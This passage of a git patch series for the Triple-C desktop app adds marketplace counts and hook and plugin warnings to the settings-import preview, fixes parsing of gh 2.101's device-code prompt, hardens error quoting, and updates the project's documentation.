Some("sk-triple-c-yet-another".to_string()), web_terminal_access_token: Some("wt-super-secret-token".to_string()), + ..Default::default() }); let preview = SettingsImportPreview::from_payload(&payload); let serialized = serde_json::to_string(&preview).unwrap(); @@ -260,6 +294,7 @@ mod tests { gateway_api_key: None, gateway_master_key: None, web_terminal_access_token: Some(" ".to_string()), + ..Default::default() }); let preview = SettingsImportPreview::from_payload(&payload); assert!(!preview.has_claude_oauth_token); @@ -363,4 +398,52 @@ mod tests { shown.chars().count() ); } + + #[test] + fn marketplaces_global_hooks_and_account_tokens_are_disclosed_without_the_tokens() { + use crate::models::marketplace::{ItemKind, Marketplace, MarketplaceInstall}; + let mut payload = payload_with(ExportedSecrets { + marketplace_account_tokens: std::collections::BTreeMap::from([ + ("a1".to_string(), "test-token-not-real-1".to_string()), + ("a2".to_string(), " ".to_string()), + ]), + ..Default::default() + }); + payload.settings.marketplaces.push(Marketplace { + id: "m1".into(), + name: "Team".into(), + url: "https://example.invalid/r.git".into(), + branch: None, + account_id: None, + }); + let install = |kind, key: &str| MarketplaceInstall { + marketplace_id: "m1".into(), + kind, + key: key.into(), + commit: "a".repeat(40), + }; + payload.settings.global_marketplace_installs = vec![ + install(ItemKind::Hook, "fmt"), + install(ItemKind::Agent, "rev"), + install(ItemKind::Hook, "lint"), + ]; + + let preview = SettingsImportPreview::from_payload(&payload); + assert_eq!(preview.marketplace_count, 1); + assert_eq!(preview.global_hook_install_count, 2); + assert_eq!(preview.marketplace_account_token_count, 1, "a blank token is absent"); + assert!(!serde_json::to_string(&preview).unwrap().contains("test-token-not-real")); + } + + #[test] + fn a_bundle_holding_only_a_marketplace_token_is_not_empty() { + let secrets = ExportedSecrets { + marketplace_account_tokens: std::collections::BTreeMap::from([( + "a1".to_string(), + "test-token-not-real".to_string(), + )]), + ..Default::default() + }; + assert!(!secrets.is_empty()); + } } diff --git a/app/src/components/settings/ImportSettingsModal.test.tsx b/app/src/components/settings/ImportSettingsModal.test.tsx index 9a56f02..f05a206 100644 --- a/app/src/components/settings/ImportSettingsModal.test.tsx +++ b/app/src/components/settings/ImportSettingsModal.test.tsx @@ -32,6 +32,9 @@ const samplePreview: SettingsImportPreview = { gateway_api_base: null, image_source: "registry", custom_image_name: null, + marketplace_count: 0, + global_hook_install_count: 0, + marketplace_account_token_count: 0, }; function outcome(settings: AppSettings, secretRestoreWarnings: string[] = []): SettingsImportOutcome { diff --git a/app/src/lib/settingsImportPreview.test.ts b/app/src/lib/settingsImportPreview.test.ts index aa94e9d..b253221 100644 --- a/app/src/lib/settingsImportPreview.test.ts +++ b/app/src/lib/settingsImportPreview.test.ts @@ -20,6 +20,9 @@ function preview(overrides: Partial = {}): SettingsImport gateway_api_base: null, image_source: "registry", custom_image_name: null, + marketplace_count: 0, + global_hook_install_count: 0, + marketplace_account_token_count: 0, ...overrides, }; } @@ -79,6 +82,13 @@ describe("describeImport", () => { expect(items.some((i) => i.includes("OpenAI-compatible"))).toBe(false); }); + it("names marketplaces and marketplace account tokens, with counts", () => { + const items = describeImport(preview({ marketplace_count: 1, marketplace_account_token_count: 2 })); + expect(items).toContain("1 marketplace"); + expect(items).toContain("2 marketplace account tokens"); + expect(describeImport(preview()).some((i) => i.includes("marketplace"))).toBe(false); + }); + it("names a custom Docker image when set, falling back to a placeholder if unnamed", () => { expect( describeImport(preview({ image_source: "custom", custom_image_name: "ghcr.io/me/triple-c" })), @@ -116,6 +126,15 @@ describe("describeImportWarnings", () => { ]); }); + it("warns when the import installs hooks for every project", () => { + expect(describeImportWarnings(preview({ global_hook_install_count: 1 }))).toEqual([ + "Installs 1 marketplace hook for all projects. Hooks run commands in every project container, and these skip the confirmation an install from the Marketplace tab asks for.", + ]); + expect(describeImportWarnings(preview({ global_hook_install_count: 3 }))[0]).toMatch( + /^Installs 3 marketplace hooks for all projects\./, + ); + }); + it("warns about a custom Docker image every time, not only when it changes", () => { expect( describeImportWarnings(preview({ image_source: "custom", custom_image_name: "evil:latest" })), diff --git a/app/src/lib/settingsImportPreview.ts b/app/src/lib/settingsImportPreview.ts index c8e05e6..6e649ef 100644 --- a/app/src/lib/settingsImportPreview.ts +++ b/app/src/lib/settingsImportPreview.ts @@ -28,6 +28,13 @@ export function describeImport(preview: SettingsImportPreview): string[] { if (preview.image_source === "custom") { items.push(`Docker image: ${preview.custom_image_name ?? "(no image name set)"}`); } + if (preview.marketplace_count > 0) { + items.push(`${preview.marketplace_count} marketplace${preview.marketplace_count === 1 ? "" : "s"}`); + } + if (preview.marketplace_account_token_count > 0) { + const n = preview.marketplace_account_token_count; + items.push(`${n} marketplace account token${n === 1 ? "" : "s"}`); + } return items; } @@ -45,6 +52,10 @@ export function describeImport(preview: SettingsImportPreview): string[] { * through the UI, with no import-time signal that it wasn't freshly * generated. * + * Global marketplace hooks get one too: a hook runs commands in every + * project container, and an imported install never passed the hook-confirm + * step an install from the Marketplace tab shows. + * * A custom Docker image gets a warning every time, not just on change: it's * the image every project container is created from, so it's worth calling * out regardless of what was configured before the import. @@ -58,6 +69,12 @@ export function describeImportWarnings(preview: SettingsImportPreview): string[] "Includes a web terminal access token that will activate the next time the web terminal is turned on.", ); } + if (preview.global_hook_install_count > 0) { + const n = preview.global_hook_install_count; + warnings.push( + `Installs ${n} marketplace hook${n === 1 ? "" : "s"} for all projects. Hooks run commands in every project container, and these skip the confirmation an install from the Marketplace tab asks for.`, + ); + } if (preview.image_source === "custom") { warnings.push( `Runs every project container from a custom Docker image: ${preview.custom_image_name ?? "(no image name set)"}.`, diff --git a/app/src/lib/types.ts b/app/src/lib/types.ts index 2dcaa33..4b89a4a 100644 --- a/app/src/lib/types.ts +++ b/app/src/lib/types.ts @@ -404,6 +404,14 @@ export interface SettingsImportPreview { * more attention than an ordinary setting. */ image_source: ImageSource; custom_image_name: string | null; + /** Marketplaces the import configures. */ + marketplace_count: number; + /** Hooks the import installs for all projects — each runs commands in + * every project container, without the confirm step a Marketplace-tab + * install shows, so the preview warns about them. */ + global_hook_install_count: number; + /** Marketplace account tokens the import restores to the keychain. */ + marketplace_account_token_count: number; } /** What `apply_settings_import` returns: the settings that were actually -- 2.52.0 From 89859b9a3c115a5ea9415ffa52b31b0f1c67438c Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 09:44:25 -0700 Subject: [PATCH 24/45] Marketplace gh login: read gh 2.101's device-code wording gh 2.101.0 (the image's) prints "! One-time code (XXXX-XXXX) copied to clipboard" and "Press Enter to open https://github.com/login/device in your browser...". parse_device_prompt only knew "one-time code:", so no code event went out and Enter was never pressed: gh sat at its prompt until the 10-minute timeout. Match the label case-insensitively, accept ":" or "(" before the code, and require something after it so a code cut by a frame boundary is not taken early. Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/marketplace/gh_login.rs | 99 +++++++++++++++++++++-- 1 file changed, 92 insertions(+), 7 deletions(-) diff --git a/app/src-tauri/src/marketplace/gh_login.rs b/app/src-tauri/src/marketplace/gh_login.rs index 22ca482..5ff7de9 100644 --- a/app/src-tauri/src/marketplace/gh_login.rs +++ b/app/src-tauri/src/marketplace/gh_login.rs @@ -72,17 +72,29 @@ pub fn strip_ansi(s: &str) -> String { AnsiStripper::default().push(s.as_bytes()) } -/// gh prints `! First copy your one-time code: XXXX-XXXX`, then either a URL -/// or "Press Enter to open in your browser". Returns (code, url). +/// Read gh's device code and URL. Returns (code, url). +/// +/// Two wordings are known: +/// * older gh: `! First copy your one-time code: XXXX-XXXX`, then either a +/// URL or "Press Enter to open in your browser"; +/// * gh 2.101 (the image's): `! One-time code (XXXX-XXXX) copied to +/// clipboard`, then "Press Enter to open https:///login/device in your +/// browser...". +/// +/// The URL is the first `https://…/login/device` word, else +/// `https:///login/device`. pub fn parse_device_prompt(output: &str, host: &str) -> Option<(String, String)> { - const LABEL: &str = "one-time code:"; - let at = output.find(LABEL)? + LABEL.len(); - let code: String = output[at..] - .trim_start() + const LABEL: &str = "one-time code"; + // ASCII lowercasing keeps byte offsets, so `at` indexes `output` too. + let at = output.to_ascii_lowercase().find(LABEL)? + LABEL.len(); + let rest = output[at..].trim_start_matches(|c: char| c == ':' || c == '(' || c.is_whitespace()); + let code: String = rest .chars() .take_while(|c| c.is_ascii_alphanumeric() || *c == '-') .collect(); - if code.len() < 6 || !code.contains('-') { + // Something must follow the code (`)` or a line break): a code at the + // very end may still be growing in the next frame. + if code.len() < 6 || !code.contains('-') || rest.len() == code.len() { return None; } let url = output @@ -334,6 +346,54 @@ mod tests { ); } + /// gh 2.101.0 (the image's gh, integration report check 6), after ANSI + /// stripping: the code is in parentheses and the URL is on the Enter line. + const GH_2_101_PROMPT: &str = "! One-time code (4F2A-9C1B) copied to clipboard\nPress Enter to open https://github.com/login/device in your browser... "; + + #[test] + fn the_gh_2_101_wording_is_read() { + assert_eq!( + parse_device_prompt(GH_2_101_PROMPT, "github.com"), + Some(( + "4F2A-9C1B".to_string(), + "https://github.com/login/device".to_string() + )) + ); + } + + #[test] + fn the_url_comes_from_the_press_enter_line() { + let out = "! One-time code (AB12-CD34) copied to clipboard\nPress Enter to open https://ghe.example.com/login/device in your browser... "; + assert_eq!( + parse_device_prompt(out, "github.com"), + Some(( + "AB12-CD34".to_string(), + "https://ghe.example.com/login/device".to_string() + )) + ); + } + + #[test] + fn the_gh_2_101_wording_without_a_code_is_no_prompt() { + assert_eq!(parse_device_prompt("! One-time code (", "github.com"), None); + assert_eq!( + parse_device_prompt("! One-time code (4F2A", "github.com"), + None + ); + } + + #[test] + fn a_code_cut_by_a_frame_boundary_is_not_a_code_yet() { + assert_eq!( + parse_device_prompt("! One-time code (4F2A-9C", "github.com"), + None + ); + assert_eq!( + parse_device_prompt("! First copy your one-time code: 4F2A-9C", "github.com"), + None + ); + } + #[test] fn no_code_yet_means_no_prompt() { assert_eq!( @@ -561,6 +621,31 @@ mod tests { } } + /// The raw bytes gh 2.101.0 prints under a tty (integration report + /// check 6), with a fake code: the code event goes out and Enter is + /// pressed, or gh never starts polling. + #[tokio::test(start_paused = true)] + async fn gh_2_101_gets_its_code_event_and_its_enter() { + let keys = Keys::default(); + let (_tx, mut cancel) = oneshot::channel(); + let frames = stream::iter(vec![ + out("\u{1b}]11;?\u{1b}\\\u{1b}[6n"), + out("\r\n"), + out("\u{1b}]52;c;NEYyQS05QzFC\u{7}\u{1b}[0;33m!\u{1b}[0m One-time code (\u{1b}[0;1;39m4F2A-9C1B\u{1b}[0m) copied to clipboard\r\n\u{1b}[0;1;39mPress Enter\u{1b}[0m to open https://github.com/login/device in your browser... "), + ]); + let (r, events) = drive(frames, keys.clone(), &mut cancel, far()).await; + assert!(r.is_ok()); + assert_eq!(*keys.writes.lock().unwrap(), vec![b"\r".to_vec()]); + assert!(events.contains(&( + CODE_EVENT, + serde_json::json!({ + "account_id": "acct-1", + "code": "4F2A-9C1B", + "url": "https://github.com/login/device" + }) + ))); + } + #[tokio::test] async fn a_lost_stream_is_a_failure() { let (_tx, mut cancel) = oneshot::channel(); -- 2.52.0 From 6cf9664dc82ed0e9148254d8f3749a8eea2e35a4 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 09:46:56 -0700 Subject: [PATCH 25/45] Marketplace: warn on imported global plugins; tidy import follow-ups - The import preview counts global plugin installs and warns on them: a plugin can bring hooks and MCP servers into every container and an imported install skips the confirm step, like a hook. - Item keys, hosts and branches in errors are quoted with {:?} and capped, since they can come from an import file. - After an import, caches and snapshots of marketplaces the import dropped are removed (under the repo lock) and pins are refreshed for the imported installs. Co-Authored-By: Claude Opus 5.5 --- .../src/commands/marketplace_commands.rs | 71 +++++++++++++++++-- .../src/commands/settings_export_commands.rs | 7 ++ app/src-tauri/src/models/settings_export.rs | 31 ++++++++ .../settings/ImportSettingsModal.test.tsx | 1 + app/src/lib/settingsImportPreview.test.ts | 10 +++ app/src/lib/settingsImportPreview.ts | 9 ++- app/src/lib/types.ts | 3 + 7 files changed, 126 insertions(+), 6 deletions(-) diff --git a/app/src-tauri/src/commands/marketplace_commands.rs b/app/src-tauri/src/commands/marketplace_commands.rs index 6874234..873dc65 100644 --- a/app/src-tauri/src/commands/marketplace_commands.rs +++ b/app/src-tauri/src/commands/marketplace_commands.rs @@ -62,6 +62,19 @@ pub(crate) mod ops { } } + /// An unvalidated value as it may appear in an error: quoted and escaped + /// (`{:?}`) and capped at 60 characters, since it can come from an + /// import file rather than from what the person just typed. + pub fn shown(value: &str) -> String { + const MAX: usize = 60; + if value.chars().count() > MAX { + let head: String = value.chars().take(MAX).collect(); + format!("{:?}…", head) + } else { + format!("{:?}", value) + } + } + pub fn validate_label(label: &str) -> Result { let label = label.trim(); if label.is_empty() { @@ -86,7 +99,7 @@ pub(crate) mod ops { if git::valid_branch(&b) { Ok(Some(b)) } else { - Err(format!("{b:?} is not a valid branch name.")) + Err(format!("{} is not a valid branch name.", shown(&b))) } } @@ -101,7 +114,7 @@ pub(crate) mod ops { if auth::valid_host(&host) && !host.starts_with('.') && !host.starts_with(':') && port_ok { Ok(host) } else { - Err(format!("{host:?} is not a valid host name.")) + Err(format!("{} is not a valid host name.", shown(&host))) } } @@ -294,7 +307,10 @@ fn validate_item(item: &MarketplaceItemRef) -> Result<(), String> { if is_valid_item_key(&item.key) { Ok(()) } else { - Err(format!("\"{}\" is not a valid item name.", item.key)) + Err(format!( + "{} is not a valid item name.", + ops::shown(&item.key) + )) } } @@ -382,6 +398,17 @@ pub(crate) fn validate_imported_marketplace_state( Ok(()) } +/// Marketplaces configured in `before` that `after` no longer has: an import +/// that drops them leaves their caches and snapshots to be removed. +pub(crate) fn dropped_marketplace_ids(before: &AppSettings, after: &AppSettings) -> Vec { + before + .marketplaces + .iter() + .filter(|m| !after.marketplaces.iter().any(|a| a.id == m.id)) + .map(|m| m.id.clone()) + .collect() +} + /// The in-memory snapshot, else the cached one (which is then remembered). fn snapshot_or_cached(mgr: &MarketplaceManager, m: &Marketplace) -> MarketplaceSnapshot { if let Some(s) = mgr.snapshot(&m.id) { @@ -406,7 +433,7 @@ async fn snapshot_blocking( /// Make each cache's pin refs exactly the commits installs reference, so a /// pinned version can never be garbage-collected away. Under the repo lock /// (pre-flight F11): a concurrent fetch writes refs in the same repos. -async fn refresh_pins(state: &AppState) { +pub(crate) async fn refresh_pins(state: &AppState) { let settings = state.settings_store.get(); let pins = mk::pins_by_marketplace(&settings, &state.projects_store.list()); let root = state.marketplace.data_root().to_path_buf(); @@ -432,7 +459,7 @@ async fn refresh_pins(state: &AppState) { } /// Forget a marketplace's snapshot and delete its cache, under the repo lock. -async fn remove_cache(state: &AppState, marketplace_id: &str) { +pub(crate) async fn remove_cache(state: &AppState, marketplace_id: &str) { state.marketplace.remove_snapshot(marketplace_id); let path = git::cache_path(state.marketplace.data_root(), marketplace_id); let _repo_guard = state.marketplace.repo_lock().lock().await; @@ -1144,4 +1171,38 @@ mod tests { s.marketplaces.clear(); validate_imported_marketplace_state(&mut s, &tokens()).unwrap(); } + + #[test] + fn an_invalid_item_key_is_quoted_and_capped_in_the_error() { + use crate::models::marketplace::MarketplaceItemRef; + let item = |key: String| MarketplaceItemRef { + marketplace_id: MARKET.into(), + kind: ItemKind::Agent, + key, + }; + let e = validate_item(&item("bad\nkey".into())).unwrap_err(); + assert!(!e.contains('\n'), "raw control character in {e:?}"); + assert!(e.contains("\"bad\\nkey\""), "{e}"); + let e = validate_item(&item(format!("{}/", "x".repeat(500)))).unwrap_err(); + assert!( + e.chars().count() < 150, + "not capped: {} chars", + e.chars().count() + ); + } + + #[test] + fn marketplaces_an_import_drops_are_the_ones_whose_caches_go() { + let mut before = imported(); + let mut kept = before.marketplaces[0].clone(); + kept.id = "kept-1".into(); + before.marketplaces.push(kept.clone()); + let mut after = AppSettings::default(); + after.marketplaces.push(kept); + assert_eq!( + dropped_marketplace_ids(&before, &after), + vec![MARKET.to_string()] + ); + assert!(dropped_marketplace_ids(&after, &before).is_empty()); + } } diff --git a/app/src-tauri/src/commands/settings_export_commands.rs b/app/src-tauri/src/commands/settings_export_commands.rs index 6480b8d..b219389 100644 --- a/app/src-tauri/src/commands/settings_export_commands.rs +++ b/app/src-tauri/src/commands/settings_export_commands.rs @@ -441,6 +441,13 @@ pub async fn apply_settings_import( ) = imported_marketplace; state.settings_store.update(s)? }; + // Caches of marketplaces the import dropped are dead weight now, and + // the pins must match the imported installs. + use crate::commands::marketplace_commands as mc; + for id in mc::dropped_marketplace_ids(¤t, &saved) { + mc::remove_cache(&state, &id).await; + } + mc::refresh_pins(&state).await; // `reconcile_gateway` (inside `update_settings`) only reacts to a changed // *shape* — port, provider, base URL, models — because that's what's diff --git a/app/src-tauri/src/models/settings_export.rs b/app/src-tauri/src/models/settings_export.rs index 3431175..85396cd 100644 --- a/app/src-tauri/src/models/settings_export.rs +++ b/app/src-tauri/src/models/settings_export.rs @@ -164,6 +164,10 @@ pub struct SettingsImportPreview { /// step an install from the Marketplace tab shows, so the preview warns. #[serde(default)] pub global_hook_install_count: usize, + /// Plugins the import installs for every project. A plugin can bring + /// its own hooks and MCP servers, and skips the same confirm step. + #[serde(default)] + pub global_plugin_install_count: usize, /// Non-blank marketplace account tokens the import restores. #[serde(default)] pub marketplace_account_token_count: usize, @@ -224,6 +228,12 @@ impl SettingsImportPreview { .iter() .filter(|i| i.kind == crate::models::marketplace::ItemKind::Hook) .count(), + global_plugin_install_count: payload + .settings + .global_marketplace_installs + .iter() + .filter(|i| i.kind == crate::models::marketplace::ItemKind::Plugin) + .count(), marketplace_account_token_count: payload .secrets .marketplace_account_tokens @@ -446,4 +456,25 @@ mod tests { }; assert!(!secrets.is_empty()); } + + #[test] + fn global_plugin_installs_are_counted_apart_from_hooks() { + use crate::models::marketplace::{ItemKind, MarketplaceInstall}; + let mut payload = payload_with(ExportedSecrets::default()); + let install = |kind, key: &str| MarketplaceInstall { + marketplace_id: "m1".into(), + kind, + key: key.into(), + commit: "a".repeat(40), + }; + payload.settings.global_marketplace_installs = vec![ + install(ItemKind::Plugin, "p1"), + install(ItemKind::Hook, "h1"), + install(ItemKind::Plugin, "p2"), + install(ItemKind::Skill, "s1"), + ]; + let preview = SettingsImportPreview::from_payload(&payload); + assert_eq!(preview.global_plugin_install_count, 2); + assert_eq!(preview.global_hook_install_count, 1); + } } diff --git a/app/src/components/settings/ImportSettingsModal.test.tsx b/app/src/components/settings/ImportSettingsModal.test.tsx index f05a206..34e8753 100644 --- a/app/src/components/settings/ImportSettingsModal.test.tsx +++ b/app/src/components/settings/ImportSettingsModal.test.tsx @@ -34,6 +34,7 @@ const samplePreview: SettingsImportPreview = { custom_image_name: null, marketplace_count: 0, global_hook_install_count: 0, + global_plugin_install_count: 0, marketplace_account_token_count: 0, }; diff --git a/app/src/lib/settingsImportPreview.test.ts b/app/src/lib/settingsImportPreview.test.ts index b253221..01653cf 100644 --- a/app/src/lib/settingsImportPreview.test.ts +++ b/app/src/lib/settingsImportPreview.test.ts @@ -22,6 +22,7 @@ function preview(overrides: Partial = {}): SettingsImport custom_image_name: null, marketplace_count: 0, global_hook_install_count: 0, + global_plugin_install_count: 0, marketplace_account_token_count: 0, ...overrides, }; @@ -135,6 +136,15 @@ describe("describeImportWarnings", () => { ); }); + it("warns when the import installs plugins for every project", () => { + expect(describeImportWarnings(preview({ global_plugin_install_count: 1 }))).toEqual([ + "Installs 1 marketplace plugin for all projects. Plugins can bring their own hooks and MCP servers into every project container, and these skip the confirmation an install from the Marketplace tab asks for.", + ]); + expect( + describeImportWarnings(preview({ global_plugin_install_count: 2, global_hook_install_count: 1 })), + ).toHaveLength(2); + }); + it("warns about a custom Docker image every time, not only when it changes", () => { expect( describeImportWarnings(preview({ image_source: "custom", custom_image_name: "evil:latest" })), diff --git a/app/src/lib/settingsImportPreview.ts b/app/src/lib/settingsImportPreview.ts index 6e649ef..83a5e74 100644 --- a/app/src/lib/settingsImportPreview.ts +++ b/app/src/lib/settingsImportPreview.ts @@ -54,7 +54,8 @@ export function describeImport(preview: SettingsImportPreview): string[] { * * Global marketplace hooks get one too: a hook runs commands in every * project container, and an imported install never passed the hook-confirm - * step an install from the Marketplace tab shows. + * step an install from the Marketplace tab shows. Global plugins likewise: + * a plugin can carry its own hooks and MCP servers. * * A custom Docker image gets a warning every time, not just on change: it's * the image every project container is created from, so it's worth calling @@ -75,6 +76,12 @@ export function describeImportWarnings(preview: SettingsImportPreview): string[] `Installs ${n} marketplace hook${n === 1 ? "" : "s"} for all projects. Hooks run commands in every project container, and these skip the confirmation an install from the Marketplace tab asks for.`, ); } + if (preview.global_plugin_install_count > 0) { + const n = preview.global_plugin_install_count; + warnings.push( + `Installs ${n} marketplace plugin${n === 1 ? "" : "s"} for all projects. Plugins can bring their own hooks and MCP servers into every project container, and these skip the confirmation an install from the Marketplace tab asks for.`, + ); + } if (preview.image_source === "custom") { warnings.push( `Runs every project container from a custom Docker image: ${preview.custom_image_name ?? "(no image name set)"}.`, diff --git a/app/src/lib/types.ts b/app/src/lib/types.ts index 4b89a4a..089ba65 100644 --- a/app/src/lib/types.ts +++ b/app/src/lib/types.ts @@ -410,6 +410,9 @@ export interface SettingsImportPreview { * every project container, without the confirm step a Marketplace-tab * install shows, so the preview warns about them. */ global_hook_install_count: number; + /** Plugins the import installs for all projects — a plugin can bring its + * own hooks and MCP servers, and skips the same confirm step. */ + global_plugin_install_count: number; /** Marketplace account tokens the import restores to the keychain. */ marketplace_account_token_count: number; } -- 2.52.0 From 2c1d6d8713601fe082b296ba4bd11fcdd825ba69 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 09:54:24 -0700 Subject: [PATCH 26/45] Docs: marketplace, and clean up new-code warnings/lints MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit CLAUDE.md gets a Marketplace subsection under Key Conventions (the sync script is app-embedded and re-uploaded on every sync, never baked into container/ — pre-flight F9) and the Settings export/import section now covers marketplace account tokens traveling in ExportedSecrets and the import preview's warning on global hook and plugin installs. HOW-TO-USE.md gets a Marketplace section (placed after Shared Claude Authentication) with its Table of Contents entry (pre-flight N13). The spec doc's stale keychain service name, gh-login flags and upload_bytes_to_container signature are amended to match the shipped code (pre-flight N10). Also fixes the new marketplace code's remaining build/clippy warnings: BTreeMap/Sha256/Digest imports in tree.rs gated behind #[cfg(test)] (their only uses are on MemTree, already test-only), the unused `pub use marketplace::*` glob re-export dropped from models/mod.rs, gh_login::strip_ansi marked #[cfg(test)] (production streams through AnsiStripper instead), and four clippy lints in marketplace test code (double_ended_iterator_last, cloned_ref_to_slice_refs x2, single_match). Flushes the unresolved getMarketplaceSyncReport promise in MarketplaceSection.test.tsx's "opens the Marketplace filtered to this project" test to remove its act() warning. Co-Authored-By: Claude Opus 5.5 --- CLAUDE.md | 45 +++++++++++++++++-- HOW-TO-USE.md | 23 ++++++++++ app/src-tauri/src/marketplace/auth.rs | 8 ++-- app/src-tauri/src/marketplace/gh_login.rs | 5 ++- app/src-tauri/src/marketplace/git.rs | 4 +- app/src-tauri/src/marketplace/sync.rs | 2 +- app/src-tauri/src/marketplace/tree.rs | 2 + app/src-tauri/src/models/mod.rs | 1 - .../home/config/MarketplaceSection.test.tsx | 3 +- .../specs/2026-09-27-marketplace-design.md | 31 ++++++++----- 10 files changed, 99 insertions(+), 25 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 0f9d3d4..3b97fd9 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -646,6 +646,32 @@ Anthropic and Bedrock deliberately keep Claude Code's own defaults. - A new local window needs its own capability file (`capabilities/file-viewer.json` is the model), and `lib.rs`'s `on_window_event` stays guarded on `label() == "main"`. +### Marketplace + +- Code: models in `models/marketplace.rs`; host-side logic in `src/marketplace/` (`git.rs` gix + cache + pins, `catalog.rs` repo format, `auth.rs` credentials, `gh_login.rs`, `payload.rs`, + `sync.rs`); commands in `commands/marketplace_commands.rs`; UI in `components/marketplace/` and + `projects/home/config/MarketplaceSection.tsx`. Spec: + `docs/superpowers/specs/2026-09-27-marketplace-design.md`. +- **Tokens never enter containers.** Marketplaces are fetched on the host into + `/triple-c/marketplaces/.git`; containers only ever receive a tar of pinned + files. Do not add a code path that passes a marketplace credential into an exec, env var, label + or file in a container. +- **Sync model:** after every container start (next to `sync_bedrock_credentials`) and on "Apply + now", the host builds the project's effective set (`global − disabled ∪ project`), then uploads + `payload.tar` **and the app-embedded script `src/marketplace/sync.sh`** (`include_str!`, not a + file in `container/`) to `~/.claude/triple-c/marketplace/incoming/` and runs it as `claude`, + once the entrypoint has finished (`pgrep -x -f 'su -s /bin/bash claude -c exec sleep + infinity'`). The script is re-uploaded on every sync rather than baked into the image, so every + existing project always gets the version that matches the running app — `container/` is never + touched for this feature. The script only removes files and hook entries it recorded in + `~/.claude/triple-c/marketplace/state.json`; it must never overwrite or delete user-created + agents/skills/commands or user hooks. A sync failure must not fail the container start. +- Installs are **pinned** to a commit; nothing updates without the user accepting a diff. Pinned + commits are kept alive by `refs/triple-c/pins/*` in the cache. +- Marketplace changes need no container labels or recreation — they are applied by the sync, not + at create time. + ## Secrets **`scripts/scan-secrets.sh` refuses a commit that adds something shaped like a live @@ -677,9 +703,9 @@ nobody had reason to open. Fixtures are never live values; there is no case wher `commands::settings_export_commands`, `storage::settings_crypto`, `models::settings_export` (triple-c#35). Exports the *host* environment — global `AppSettings` plus the global secrets that -live in the OS keychain instead: the shared Claude Code OAuth login and the model gateway's two -keys. Per-project settings, per-project secrets, and anything in a project's Docker volumes are -deliberately out of scope — this is not a project backup. +live in the OS keychain instead: the shared Claude Code OAuth login, the model gateway's two keys, +and every marketplace account's token. Per-project settings, per-project secrets, and anything in +a project's Docker volumes are deliberately out of scope — this is not a project backup. - **`AppSettings` is not entirely the non-secret shape it looks like, and a review of this feature caught the one place that isn't.** `WebTerminalSettings::access_token` is a live bearer @@ -696,6 +722,19 @@ deliberately out of scope — this is not a project backup. inside a generic "settings replaced" summary. Read this as the standing example of the class of thing to keep checking for in this feature, not a one-off fixed bug — any other field that looks like config but is actually a live credential would have the same problem. +- **Marketplace account tokens travel in `ExportedSecrets`, not in `AppSettings`.** `Token` and + `GhContainer` accounts' tokens live in the keychain (`triple-c-marketplace-account-`), so + they follow the same "carve out of the keychain, restore before the settings replace, only + overwrite what the file actually has" treatment as the other three secrets + (`ExportedSecrets::marketplace_account_tokens`, keyed by account id). Marketplaces and install + lists themselves are ordinary `AppSettings` fields and travel with the settings replace, but are + **validated** on import the same way the add-marketplace/install commands validate them + (`validate_imported_marketplace_state`) — an import is untrusted input, not a trusted restore. + The preview warns whenever the import carries one or more **global hook installs or global + plugin installs**, in addition to the base-URL and custom-image warnings above: a hook runs + commands in every project container, and a plugin can carry its own hooks and MCP servers into + one — and an imported install skips the hook-confirm step an install from the Marketplace tab + shows, so this is the only place that confirmation happens for an import. - **Encrypted because it can carry live credentials, not for appearance's sake.** Argon2id derives a 256-bit key from the user's password (memory-hard — meaningfully resistant to GPU/ASIC brute-forcing, unlike PBKDF2 at any reasonable iteration count), AES-256-GCM does the actual diff --git a/HOW-TO-USE.md b/HOW-TO-USE.md index f135150..d5eb175 100644 --- a/HOW-TO-USE.md +++ b/HOW-TO-USE.md @@ -15,6 +15,7 @@ Triple-C (Claude-Code-Container) is a desktop application that runs Claude Code - [Permission Modes](#permission-modes) - [Project Configuration](#project-configuration) - [Shared Claude Authentication](#shared-claude-authentication) +- [Marketplace](#marketplace) - [Opening URLs in Your Browser (URL Relay)](#opening-urls-in-your-browser-url-relay) - [Browser Logins Inside the Container (Auth Bridge)](#browser-logins-inside-the-container-auth-bridge) - [AWS Bedrock Configuration](#aws-bedrock-configuration) @@ -773,6 +774,28 @@ is next started, at which point the same recreation clears the variable. --- +## Marketplace + +The marketplace installs Claude Code **agents, skills, commands, hooks and plugins** from git repositories into your containers. + +1. **Settings → Marketplace → Open Marketplace** opens the Marketplace tab. +2. **Add a marketplace**: on the Browse tab choose *Add marketplace* and enter an HTTPS clone URL, for example `https://github.com/shadowdao/triple-c-marketplace.git`. For a private repository, pick an account (see below). Triple-C checks it can read the repository before saving. +3. **Install**: select an item to see what it contains. Turn on **All projects** to install it everywhere (including projects you add later), or tick individual projects. A project can opt out of an "All projects" item by unticking it, or from **Project → Config → Marketplace**. +4. **Hooks** run shell commands, so Triple-C shows every command before installing one. +5. **When it applies**: on the container's next start, or straight away for running containers with **Installed → Apply now**. New Claude sessions pick it up; sessions already open keep what they loaded. + +**Updates.** Every install is pinned to the commit it came from. When an item changes in its repository, the Installed tab shows *Update available*. Review the diff and accept to move the pin. + +**Accounts (private repositories).** On the Accounts tab: +- *GitHub via gh* — if the GitHub CLI is installed and logged in on this computer, Triple-C uses it. If not, it runs `gh auth login` inside a running project's container and keeps only the resulting token in your OS keychain. +- *Access token* — any host (GitHub, Gitea, GitLab). The token is stored in your OS keychain. + +Credentials never enter containers. If a private repository in a GitHub organisation cannot be read, the error explains the usual causes: the org has not approved the GitHub CLI, the token is not authorised for the org's SSO, or a fine-grained token belongs to a different owner. + +**If an item is skipped**: Triple-C never overwrites an agent, skill or command file you created yourself. If one has the same name as a marketplace item, the sync skips it and the project's Config → Marketplace section says so. + +--- + ## Opening URLs in Your Browser (URL Relay) There is no browser inside the container and no screen to put one on. Any tool that tries to open diff --git a/app/src-tauri/src/marketplace/auth.rs b/app/src-tauri/src/marketplace/auth.rs index 2dd1d81..3b8168e 100644 --- a/app/src-tauri/src/marketplace/auth.rs +++ b/app/src-tauri/src/marketplace/auth.rs @@ -641,12 +641,12 @@ mod tests { // And the target must never see a connection carrying the token — // ideally no connection at all, since the client never follows. - match 